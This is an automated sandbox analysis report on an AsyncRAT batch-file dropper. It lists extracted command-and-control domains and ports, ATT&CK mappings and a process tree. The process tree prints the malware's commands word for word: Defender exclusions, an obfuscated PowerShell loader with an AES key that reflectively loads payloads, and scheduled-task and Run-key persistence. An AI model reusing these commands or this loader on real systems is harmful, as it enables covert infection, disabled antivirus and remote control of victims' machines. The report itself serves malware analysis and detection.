asyncrat | f9cec720d0aeadc2435f7947b5cdcae2dc4deedbb610ece5b81784063f769628

Analysis

max time kernel
60s
max time network
24s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 07:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
mko2.bat
Size 159KB
Sample260718-hyfe7se19x
SHA256 f9cec720d0aeadc2435f7947b5cdcae2dc4deedbb610ece5b81784063f769628
MD5 9e2c7d3ce908d859c62d933e0d4c4c64
SHA1 6adea299df7895005b7e1cc8cabc42831379edd5
SHA512 43e519a4bf14c5247103702cb1f483eb634504bf2d0231103df0d0c8910ae58f7a7454fb131a7853aded8b16cdd70461109836953f4f6259a8f71375763fe532
SSDEEP 1536:BiW+S7s6O7rlwti8K6AEigIJoXbI8fcv6h2VUnjz0cx30IRrpWk:BiW+SI66lp8K6Lig5b5UvlY5VL
TLSH
T150F3B0A3F77C397C35149EECC2AC6E84668959FB0FE1D01A4B9031731EE74692E68472
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

mu88bet.live:8443
mu88bet.live:81
mu88bet.live:7878
mu88bet.live:8787
mu88bet.live:6789
mu88bet.live:80
mu88bet.live:8080
mu88bet.live:443
mu88t2.org:8443
mu88t2.org:81
mu88t2.org:7878
mu88t2.org:8787
mu88t2.org:6789
mu88t2.org:80
mu88t2.org:8080
mu88t2.org:443
mu88ae.blog:8443
mu88ae.blog:81
mu88ae.blog:7878
mu88ae.blog:8787
mu88ae.blog:6789
mu88ae.blog:80
mu88ae.blog:8080
mu88ae.blog:443
mu88.help:8443
mu88.help:81
mu88.help:7878
mu88.help:8787
mu88.help:6789
mu88.help:80
mu88.help:8080
mu88.help:443

Mutex

plRuw8k5zK95

Attributes

delay
3
install
true
install_file
svchost.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/5028-93-0x0000000007170000-0x0000000007182000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1760	powershell.exe
5164	powershell.exe
3468	powershell.exe
5032	powershell.exe
5028	powershell.exe
1880	powershell.exe
4696	powershell.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5440	attrib.exe
4832	attrib.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 4 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
2572	cmd.exe
4280	cmd.exe
2648	cmd.exe
1976	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows_SettingsManager = "wscript.exe \"C:\\ProgramData\\acwin_manager\\windows_systemManager.vbs\""	reg.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4180	WScript.exe
3440	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3788	cmd.exe
5056	cmd.exe
5184	cmd.exe
4868	cmd.exe
1688	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4732	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3644	schtasks.exe
5664	schtasks.exe
396	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1760	powershell.exe
1760	powershell.exe
1760	powershell.exe
5164	powershell.exe
5164	powershell.exe
1880	powershell.exe
1880	powershell.exe
4696	powershell.exe
4696	powershell.exe
4696	powershell.exe
3468	powershell.exe
3468	powershell.exe
3468	powershell.exe
5032	powershell.exe
5032	powershell.exe
5032	powershell.exe
5028	powershell.exe
5028	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	powershell.exe
Token: SeDebugPrivilege	5164	powershell.exe
Token: SeDebugPrivilege	1880	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeIncreaseQuotaPrivilege	4696	powershell.exe
Token: SeSecurityPrivilege	4696	powershell.exe
Token: SeTakeOwnershipPrivilege	4696	powershell.exe
Token: SeLoadDriverPrivilege	4696	powershell.exe
Token: SeSystemProfilePrivilege	4696	powershell.exe
Token: SeSystemtimePrivilege	4696	powershell.exe
Token: SeProfSingleProcessPrivilege	4696	powershell.exe
Token: SeIncBasePriorityPrivilege	4696	powershell.exe
Token: SeCreatePagefilePrivilege	4696	powershell.exe
Token: SeBackupPrivilege	4696	powershell.exe
Token: SeRestorePrivilege	4696	powershell.exe
Token: SeShutdownPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeSystemEnvironmentPrivilege	4696	powershell.exe
Token: SeRemoteShutdownPrivilege	4696	powershell.exe
Token: SeUndockPrivilege	4696	powershell.exe
Token: SeManageVolumePrivilege	4696	powershell.exe
Token: 33	4696	powershell.exe
Token: 34	4696	powershell.exe
Token: 35	4696	powershell.exe
Token: 36	4696	powershell.exe
Token: SeIncreaseQuotaPrivilege	4696	powershell.exe
Token: SeSecurityPrivilege	4696	powershell.exe
Token: SeTakeOwnershipPrivilege	4696	powershell.exe
Token: SeLoadDriverPrivilege	4696	powershell.exe
Token: SeSystemProfilePrivilege	4696	powershell.exe
Token: SeSystemtimePrivilege	4696	powershell.exe
Token: SeProfSingleProcessPrivilege	4696	powershell.exe
Token: SeIncBasePriorityPrivilege	4696	powershell.exe
Token: SeCreatePagefilePrivilege	4696	powershell.exe
Token: SeBackupPrivilege	4696	powershell.exe
Token: SeRestorePrivilege	4696	powershell.exe
Token: SeShutdownPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeSystemEnvironmentPrivilege	4696	powershell.exe
Token: SeRemoteShutdownPrivilege	4696	powershell.exe
Token: SeUndockPrivilege	4696	powershell.exe
Token: SeManageVolumePrivilege	4696	powershell.exe
Token: 33	4696	powershell.exe
Token: 34	4696	powershell.exe
Token: 35	4696	powershell.exe
Token: 36	4696	powershell.exe
Token: SeIncreaseQuotaPrivilege	4696	powershell.exe
Token: SeSecurityPrivilege	4696	powershell.exe
Token: SeTakeOwnershipPrivilege	4696	powershell.exe
Token: SeLoadDriverPrivilege	4696	powershell.exe
Token: SeSystemProfilePrivilege	4696	powershell.exe
Token: SeSystemtimePrivilege	4696	powershell.exe
Token: SeProfSingleProcessPrivilege	4696	powershell.exe
Token: SeIncBasePriorityPrivilege	4696	powershell.exe
Token: SeCreatePagefilePrivilege	4696	powershell.exe
Token: SeBackupPrivilege	4696	powershell.exe
Token: SeRestorePrivilege	4696	powershell.exe
Token: SeShutdownPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeSystemEnvironmentPrivilege	4696	powershell.exe
Token: SeRemoteShutdownPrivilege	4696	powershell.exe
Token: SeUndockPrivilege	4696	powershell.exe
Token: SeManageVolumePrivilege	4696	powershell.exe
Token: 33	4696	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 5056 wrote to memory of 2572	5056	cmd.exe	89
PID 2572 wrote to memory of 1760	2572	cmd.exe	90
PID 5056 wrote to memory of 4280	5056	cmd.exe	91
PID 4280 wrote to memory of 5164	4280	cmd.exe	92
PID 5056 wrote to memory of 1412	5056	cmd.exe	93
PID 5056 wrote to memory of 1880	5056	cmd.exe	94
PID 1880 wrote to memory of 4696	1880	powershell.exe	95
PID 1880 wrote to memory of 3440	1880	powershell.exe	98
PID 3440 wrote to memory of 5184	3440	WScript.exe	99
PID 5184 wrote to memory of 2648	5184	cmd.exe	101
PID 2648 wrote to memory of 3468	2648	cmd.exe	102
PID 5184 wrote to memory of 1976	5184	cmd.exe	103
PID 1976 wrote to memory of 5032	1976	cmd.exe	104
PID 5056 wrote to memory of 3644	5056	cmd.exe	106
PID 4180 wrote to memory of 4868	4180	WScript.exe	109
PID 5056 wrote to memory of 1544	5056	cmd.exe	111
PID 5056 wrote to memory of 5440	5056	cmd.exe	112
PID 5184 wrote to memory of 3040	5184	cmd.exe	114
PID 5184 wrote to memory of 5028	5184	cmd.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5440	attrib.exe
4832	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\mko2.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5056
- C:\Windows\system32\cmd.exe
  cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1760
- C:\Windows\system32\cmd.exe
  cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Suspicious use of WriteProcessMemory
  PID:4280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XAQXUkGcBytcrtk2pPL1uk863owkONzu1qlcuoFK45Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Mqm3loW9+fxTLms89SZNNA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $moGuoGfLzPpaWZvPtxcjDrOsO=New-Object System.IO.MemoryStream(,$param_var); $XRQKAyLXrxpZAzlWIrXzwoTXh=New-Object System.IO.MemoryStream; $ynqZnUznFrPpaZqDcECfPSYRn=New-Object System.IO.Compression.GZipStream($moGuoGfLzPpaWZvPtxcjDrOsO, [IO.Compression.CompressionMode]::Decompress); $ynqZnUznFrPpaZqDcECfPSYRn.CopyTo($XRQKAyLXrxpZAzlWIrXzwoTXh); $ynqZnUznFrPpaZqDcECfPSYRn.Dispose(); $moGuoGfLzPpaWZvPtxcjDrOsO.Dispose(); $XRQKAyLXrxpZAzlWIrXzwoTXh.Dispose(); $XRQKAyLXrxpZAzlWIrXzwoTXh.ToArray();}function execute_function($param_var,$param2_var){ $UaRTsJXSDblvYdCQLUhvHIsHV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tJrRsGpyMtUIunHRwwXfieAZp=$UaRTsJXSDblvYdCQLUhvHIsHV.EntryPoint; $tJrRsGpyMtUIunHRwwXfieAZp.Invoke($null, $param2_var);}$hgbRTltqOgTsqUzoectVDRsrf = 'C:\Users\Admin\AppData\Local\Temp\mko2.bat';$host.UI.RawUI.WindowTitle = $hgbRTltqOgTsqUzoectVDRsrf;$LHdOuONwdAKTopOymCZygsAYf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($hgbRTltqOgTsqUzoectVDRsrf).Split([Environment]::NewLine);foreach ($qotSZthfJavnlUkXjChkiKjHs in $LHdOuONwdAKTopOymCZygsAYf) { if ($qotSZthfJavnlUkXjChkiKjHs.StartsWith('ANPMJGziiVCZiZqLESSw')) { $utzlipNKMiDpCtrgWntPvQNEx=$qotSZthfJavnlUkXjChkiKjHs.Substring(20); break; }}$payloads_var=[string[]]$utzlipNKMiDpCtrgWntPvQNEx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1412
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_847_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_847.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4696
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_847.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3440
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_847.bat" "
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5184
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
        5⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2648
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3468
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
        5⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1976
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5032
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XAQXUkGcBytcrtk2pPL1uk863owkONzu1qlcuoFK45Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Mqm3loW9+fxTLms89SZNNA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $moGuoGfLzPpaWZvPtxcjDrOsO=New-Object System.IO.MemoryStream(,$param_var); $XRQKAyLXrxpZAzlWIrXzwoTXh=New-Object System.IO.MemoryStream; $ynqZnUznFrPpaZqDcECfPSYRn=New-Object System.IO.Compression.GZipStream($moGuoGfLzPpaWZvPtxcjDrOsO, [IO.Compression.CompressionMode]::Decompress); $ynqZnUznFrPpaZqDcECfPSYRn.CopyTo($XRQKAyLXrxpZAzlWIrXzwoTXh); $ynqZnUznFrPpaZqDcECfPSYRn.Dispose(); $moGuoGfLzPpaWZvPtxcjDrOsO.Dispose(); $XRQKAyLXrxpZAzlWIrXzwoTXh.Dispose(); $XRQKAyLXrxpZAzlWIrXzwoTXh.ToArray();}function execute_function($param_var,$param2_var){ $UaRTsJXSDblvYdCQLUhvHIsHV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tJrRsGpyMtUIunHRwwXfieAZp=$UaRTsJXSDblvYdCQLUhvHIsHV.EntryPoint; $tJrRsGpyMtUIunHRwwXfieAZp.Invoke($null, $param2_var);}$hgbRTltqOgTsqUzoectVDRsrf = 'C:\Users\Admin\AppData\Roaming\Windows_Log_847.bat';$host.UI.RawUI.WindowTitle = $hgbRTltqOgTsqUzoectVDRsrf;$LHdOuONwdAKTopOymCZygsAYf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($hgbRTltqOgTsqUzoectVDRsrf).Split([Environment]::NewLine);foreach ($qotSZthfJavnlUkXjChkiKjHs in $LHdOuONwdAKTopOymCZygsAYf) { if ($qotSZthfJavnlUkXjChkiKjHs.StartsWith('ANPMJGziiVCZiZqLESSw')) { $utzlipNKMiDpCtrgWntPvQNEx=$qotSZthfJavnlUkXjChkiKjHs.Substring(20); break; }}$payloads_var=[string[]]$utzlipNKMiDpCtrgWntPvQNEx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3040
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5028
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\Admin\AppData\Roaming\svchost.exe"' & exit
        6⤵
        Executes a command shell one-liner
        
        PID:1688
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\Admin\AppData\Roaming\svchost.exe"'
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5664
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6A92.tmp.bat""
        6⤵
        Executes a command shell one-liner
        
        PID:3788
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:4732
        
        C:\Users\Admin\AppData\Roaming\svchost.exe
        
        "C:\Users\Admin\AppData\Roaming\svchost.exe"
        7⤵
        
        PID:5272
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:396
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
        5⤵
        
        PID:5256
    - - C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h C:\ProgramData\acwin_manager
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:4832
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3644
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
  2⤵
  - Adds Run key to start application
  PID:1544
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\ProgramData\acwin_manager
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:5440

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\acwin_manager\windows_systemManager.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\acwin_manager\ProcessManager.bat"
  2⤵
  - Executes a command shell one-liner
  PID:4868

C:\Users\Admin\AppData\Roaming\svchost.exe
"C:\Users\Admin\AppData\Roaming\svchost.exe"
1⤵
PID:4268

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

windows_systemManager.vbs

Path C:\ProgramData\acwin_manager\windows_systemManager.vbs
Size 133B
SHA256 14c22c0034b1124b05e433dc8c3e910639d9d0f4a83ac60c756b96eee3c23e2a
MD5 a2357033b0d440a11a314e287629b547
SHA1 b588ec60f3a43bfd4c4fac5aca003f7f576cf6db
SHA512 b09abf3aa420784c587259502869f6fcdef7238ff5295b30b9a26abb66651b959468159ef5a93d51ae394957d7ecd06589af9685047014db2076733d026db85e
TLSH
T142C09B11562EA559285FF0D5273044158ED1EF1925B15937875CC92F962B6D11317006
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 20KB
SHA256 f973b772777c6de2e25f9204d4f63c35321233490dd6f228eaa6f76d0c716b37
MD5 bdef3f6b64d92f233211bfcba0cfa510
SHA1 b73d9e1062308ac101dc98dacb47e6a57670eec8
SHA512 d48220aa587993476f3c98efc84b5f7e7ae3f42a8a705ad73675454109d4a6f1fc4091b9af9bba275fec3199d11fb93b651f009962ff3e708a6d1c76aa872378
SSDEEP 384:21TBu1sH+1i1yHr6mxSriFO+wdjhR2PKWOEfzdC5C3MItNqfqbqV8Ro87VS+yAna:WTosHK8yL6mxSus+GSTNZCs3MIGfjQpU
TLSH
T1BB92F91822BF4DCBDD61207500C1439AE7E4D095A7A586DBEE4BCA1B3C05A7DAB601FC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 19KB
SHA256 fc7601ae8c2cd75e34b13f0e12584da2d938f9ede49cd69efc88cf0769f8c5f5
MD5 f8748315936067b13e67178481fec2a9
SHA1 b2b27f0e909b2f5824d48f1a2393b73b714c5038
SHA512 0ba97cca1a514747425d17ea42cfc5c95aedb921b376f5000e6911f4ddcfa0205ddc4d56163298e44bca6e46ffba086147d33a169887c3a3bfde064fc1877738
SSDEEP 384:/1TBa1sH+1iCy4bCpAApl+COECOr2PntIArlZ64W9LXeqWxcRRxVoclFJy7EO6rG:dTEsHKPrCpv+CZ6FIArT61beHcrxflFY
TLSH
T19492B669213F6DC7D892127411D602F7FBE4E049EA755198FE2BCE2F4C90EBB4B61620
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4e9379ae885c9cc347a5e74d86d24bbab2a8922017ebf83e3258af2688d2831c
MD5 05006006f463163bc6fd6b61c4a34bfc
SHA1 303217039cd89f9210cefd6a22f9d7c334588409
SHA512 dbb90332400dc203c7804d0c4bc438500521379f74c71530cea9de135de75a1d53c1bf11714faac0d3144ea4b0c8bca85485f4362b60c27455e529b7ca91281f
TLSH
T155218933B3CC8614CC9A413A10CEAC1036B6C7DB809ECEAB7B84D544A42F299CE602A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 2bb54e805ccd3c8dfb51c2ee3e01386676b6d832429767ebb4a3d5b50396cbb4
MD5 74ad44a18a2a06fb8ca94774f0f770b4
SHA1 edee0e6b6442904bb003b98c6e23bcd147a7642c
SHA512 6cdf61c95752b4f03bc17aad5cb8dde3ea0c21e1986f90dd9870a9572f239ff6f83e3500a62ea095ae509a90db820296f88f3d4695e12af54c602ff0cde67d95
TLSH
